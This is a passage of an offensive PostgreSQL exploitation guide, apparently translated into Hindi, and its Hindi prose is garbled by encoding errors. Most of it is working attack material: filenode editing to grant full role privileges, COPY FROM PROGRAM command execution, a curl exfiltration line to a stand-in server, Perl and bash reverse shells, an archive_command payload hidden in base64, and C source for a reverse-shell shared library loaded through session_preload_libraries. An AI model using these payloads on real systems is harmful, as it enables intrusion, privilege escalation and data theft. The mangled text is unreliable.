рдиреЛрдЯ: рдпрджрд┐ рдЖрдк рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╕реЗ рд╡рд░реНрддрдорд╛рди рдбреЗрдЯрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрде рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде рд╣реИрдВ, рддреЛ рдЖрдк SELECT version() рдХреНрд╡реЗрд░реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдореБрдЦ PostgreSQL рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкрде рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред PostgreSQL рдХреЗ Unix рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдкрд░ рд╕рд╛рдорд╛рдиреНрдп рдбреЗрдЯрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрде рд╣реИрдВ /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/ред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдХреНрд▓рд╕реНрдЯрд░ рдирд╛рдо рд╣реИ mainред 2. рд▓рдХреНрд╖рд┐рдд рддрд╛рд▓рд┐рдХрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдлрд╝рд╛рдЗрд▓ рдиреЛрдб рдХреЗ рд▓рд┐рдП рд╕рд╛рдкреЗрдХреНрд╖ рдкрде рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

SELECT pg_relation_filepath('{TABLE_NAME}')

рдпрд╣ рдХреНрд╡реЗрд░реА рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд▓реМрдЯрд╛рдиреА рдЪрд╛рд╣рд┐рдП base/3/1337ред рдбрд┐рд╕реНрдХ рдкрд░ рдкреВрд░рд╛ рдкрде рд╣реЛрдЧрд╛ $DATA_DIRECTORY/base/3/1337, рдпрд╛рдиреА /var/lib/postgresql/13/main/base/3/1337ред 3. lo_* рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдиреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. рд▓рдХреНрд╖рд┐рдд рддрд╛рд▓рд┐рдХрд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. PostgreSQL рдлрд╝рд╛рдЗрд▓ рдиреЛрдб рд╕рдВрдкрд╛рджрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдлрд╝рд╛рдЗрд▓ рдиреЛрдб рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП; рд╕рднреА rol* рдмреВрд▓рд┐рдпрди рдлрд╝реНрд▓реИрдЧ рдХреЛ рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП 1 рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВред

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (рд╡реИрдХрд▓реНрдкрд┐рдХ) рдорд╣рдВрдЧреЗ SQL рдХреНрд╡реЗрд░реА рдХреЛ рдЪрд▓рд╛рдХрд░ рдЗрди-рдореЗрдореЛрд░реА рддрд╛рд▓рд┐рдХрд╛ рдХреИрд╢ рдХреЛ рд╕рд╛рдлрд╝ рдХрд░реЗрдВ

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. рдЕрдм рдЖрдкрдХреЛ PostgreSQL рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХреА рдЧрдИ рддрд╛рд▓рд┐рдХрд╛ рдорд╛рди рджрд┐рдЦрд╛рдИ рджреЗрдиреА рдЪрд╛рд╣рд┐рдПред

рдЖрдк pg_authid рддрд╛рд▓рд┐рдХрд╛ рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдХреЗ рд╕реБрдкрд░рдПрдбрдорд┐рди рднреА рдмрди рд╕рдХрддреЗ рд╣реИрдВред рджреЗрдЦреЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрднрд╛рдЧред

RCE

RCE рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд▓рд┐рдП

рдЪреВрдВрдХрд┐ рд╕рдВрд╕реНрдХрд░рдг 9.3 рд╕реЗ, рдХреЗрд╡рд▓ рд╕реБрдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ pg_execute_server_program рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдп RCE рдХреЗ рд▓рд┐рдП рдХреЙрдкреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди рдХреЗ рд╕рд╛рде рдЙрджрд╛рд╣рд░рдг:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

рдЙрджрд╛рд╣рд░рдг exec рдХреЗ рд▓рд┐рдП:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рд╕реБрдкрд░ рдпреВрдЬрд░ рдирд╣реАрдВ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдкрдХреЗ рдкрд╛рд╕ CREATEROLE рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ, рддреЛ рдЖрдк рдЕрдкрдиреЗ рдЖрдк рдХреЛ рдЙрд╕ рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ:

GRANT pg_execute_server_program TO username;

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реАред

рдпрд╛ metasploit рд╕реЗ multi/postgres/postgres_copy_from_program_cmd_exec рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдВ рд╣реИред рдЬрдмрдХрд┐ рдЗрд╕реЗ CVE-2019-9193 рдХреЗ рд░реВрдк рдореЗрдВ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, Postges рдиреЗ рдШреЛрд╖рдгрд╛ рдХреА рдХрд┐ рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдареАрдХ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

PostgreSQL рднрд╛рд╖рд╛рдУрдВ рдХреЗ рд╕рд╛рде RCE

RCE with PostgreSQL Languages

PostgreSQL рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде RCE

рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдкрд┐рдЫрд▓реЗ рдкреЛрд╕реНрдЯ рд╕реЗ рд╕реАрдЦ рдЪреБрдХреЗ рд╣реИрдВ рдХреИрд╕реЗ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рддреЛ рдЖрдк рдПрдХ рдкреЛрд╕реНрдЯрдЧреНрд░реЗрдПрд╕рдХреНрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЕрдкрд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рдЗрд╕реЗ рд▓реЛрдб рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

RCE with PostgreSQL Extensions

PostgreSQL рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ RCE

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд RCE рд╡реЗрдХреНрдЯрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕реАрдорд┐рдд SQLi рд╕рдВрджрд░реНрднреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╕рднреА рдЪрд░рдгреЛрдВ рдХреЛ рдиреЗрд╕реНрдЯреЗрдб SELECT рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ

PostgreSQL рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ postgres рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕реБрдкрд░рдпреВрдЬрд░ рдХреЗ рд░реВрдк рдореЗрдВ, рдЖрдк рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЗрд╕рд▓рд┐рдП рдЖрдк рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

ssl_passphrase_command рдХреЗ рд╕рд╛рде RCE

рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдВ рд╣реИред

рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рд╣реИрдВ рдЬреЛ RCE рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдкрде

  • ssl_passphrase_command = '' рдпрджрд┐ рдирд┐рдЬреА рдлрд╝рд╛рдЗрд▓ рдкрд╛рд╕рд╡рд░реНрдб рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ (рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб) рддреЛ рдкреЛрд╕реНрдЯрдЧреНрд░реЗрдПрд╕рдХреНрд▓ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

  • ssl_passphrase_command_supports_reload = off рдпрджрд┐ рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ рдЪрд╛рд▓реВ рд╣реИ рддреЛ рдпрджрд┐ рдХреБрдВрдЬреА рдкрд╛рд╕рд╡рд░реНрдб рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рддреЛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм pg_reload_conf() рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдлрд┐рд░, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА:

  1. рд╕рд░реНрд╡рд░ рд╕реЗ рдирд┐рдЬреА рдХреБрдВрдЬреА рдбрдВрдк рдХрд░реЗрдВ

  2. рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ:

  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

  4. рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ

  5. рд╡рд░реНрддрдорд╛рди рдкреЛрд╕реНрдЯрдЧреНрд░реЗрдПрд╕рдХреНрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдбрдВрдк рдХрд░реЗрдВ

  6. рдЙрд▓реНрд▓реЗрдЦрд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ:

  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

  8. ssl_passphrase_command_supports_reload = on

  9. pg_reload_conf() рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ

рдЬрдм рдореИрдВрдиреЗ рдЗрд╕рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛, рддреЛ рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рддрднреА рдХрд╛рдо рдХрд░реЗрдЧрд╛ рдЬрдм рдирд┐рдЬреА рдХреБрдВрдЬреА рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкрд╛рд╕ 640 рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрдВ, рдпрд╣ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рд╣реЛ рдФрд░ рд╕рдореВрд╣ ssl-cert рдпрд╛ postgres рджреНрд╡рд╛рд░рд╛ (рддрд╛рдХрд┐ postgres рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрд╕реЗ рдкрдврд╝ рд╕рдХреЗ), рдФрд░ рдЗрд╕реЗ /var/lib/postgresql/12/main рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реЛред

archive_command рдХреЗ рд╕рд╛рде RCE

рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ WAL рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдВред

рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛ рдЬреЛ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИ рд╡рд╣ рд╣реИ archive_commandред

рдЗрд╕рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, archive_mode рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ 'on' рдпрд╛ 'always' рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдпрд╣ рд╕рддреНрдп рд╣реИ, рддреЛ рд╣рдо archive_command рдореЗрдВ рдХрдорд╛рдВрдб рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ WAL (write-ahead logging) рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╕рд╛рдорд╛рдиреНрдп рдЪрд░рдг рд╣реИрдВ:

  1. рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрд░реНрдХрд╛рдЗрд╡ рдореЛрдб рд╕рдХреНрд╖рдо рд╣реИ: SELECT current_setting('archive_mode')

  2. рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде archive_command рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'

  3. рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░реЗрдВ: SELECT pg_reload_conf()

  4. WAL рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВ, рдЬреЛ рдЖрд░реНрдХрд╛рдЗрд╡ рдХрдорд╛рдВрдб рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛: SELECT pg_switch_wal() рдпрд╛ рдХреБрдЫ PostgreSQL рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП SELECT pg_switch_xlog()

preload рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд╕рд╛рде RCE

рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдВ рд╣реИред

рдпрд╣ рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ:

  • session_preload_libraries -- рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЬреЛ PostgreSQL рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрдиреЗрдХреНрд╢рди рдкрд░ рд▓реЛрдб рдХреА рдЬрд╛рдПрдВрдЧреАред

  • dynamic_library_path -- рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдЬрд╣рд╛рдВ PostgreSQL рд╕рд░реНрд╡рд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд▓рд┐рдП рдЦреЛрдЬ рдХрд░реЗрдЧрд╛ред

рд╣рдо dynamic_library_path рдорд╛рди рдХреЛ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рдЪрд▓рд╛ рд░рд╣реЗ postgres рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦреА рдЬрд╛ рд╕рдХреЗ, рдЬреИрд╕реЗ /tmp/ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛, рдФрд░ рд╡рд╣рд╛рдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг .so рдСрдмреНрдЬреЗрдХреНрдЯ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред рдЕрдЧрд▓рд╛, рд╣рдо PostgreSQL рд╕рд░реНрд╡рд░ рдХреЛ рд╣рдорд╛рд░реЗ рдирдП рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВрдЧреЗ, рдЗрд╕реЗ session_preload_libraries рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗред

рд╣рдорд▓реЗ рдХреЗ рдЪрд░рдг рд╣реИрдВ:

  1. рдореВрд▓ postgresql.conf рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ

  2. dynamic_library_path рдорд╛рди рдореЗрдВ /tmp/ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ, рдЬреИрд╕реЗ dynamic_library_path = '/tmp:$libdir'

  3. session_preload_libraries рдорд╛рди рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдирд╛рдо рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ, рдЬреИрд╕реЗ session_preload_libraries = 'payload.so'

  4. SELECT version() рдХреНрд╡реЗрд░реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдореБрдЦ PostgreSQL рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ

  5. рд╕рд╣реА PostgreSQL dev рдкреИрдХреЗрдЬ рдХреЗ рд╕рд╛рде рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛрдб рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдЙрджрд╛рд╣рд░рдг рдХреЛрдб:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

рдХреЛрдб рд╕рдВрдХрд▓рд┐рдд рдХрд░рдирд╛:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. рдЪрд░рдг 2-3 рдореЗрдВ рдмрдирд╛рдП рдЧрдП рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг postgresql.conf рдХреЛ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдореВрд▓ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ

  2. рдЪрд░рдг 5 рд╕реЗ payload.so рдХреЛ /tmp рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ

  3. рд╕рд░реНрд╡рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рд░реНрд╡рд░ рдХреЛ рдкреБрдирд░рд╛рд░рдВрдн рдХрд░рдХреЗ рдпрд╛ SELECT pg_reload_conf() рдХреНрд╡реЗрд░реА рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░реЗрдВ

  4. рдЕрдЧрд▓реА DB рдХрдиреЗрдХреНрд╢рди рдкрд░, рдЖрдкрдХреЛ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХрдиреЗрдХреНрд╢рди рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛ред

Postgres Privesc

CREATEROLE Privesc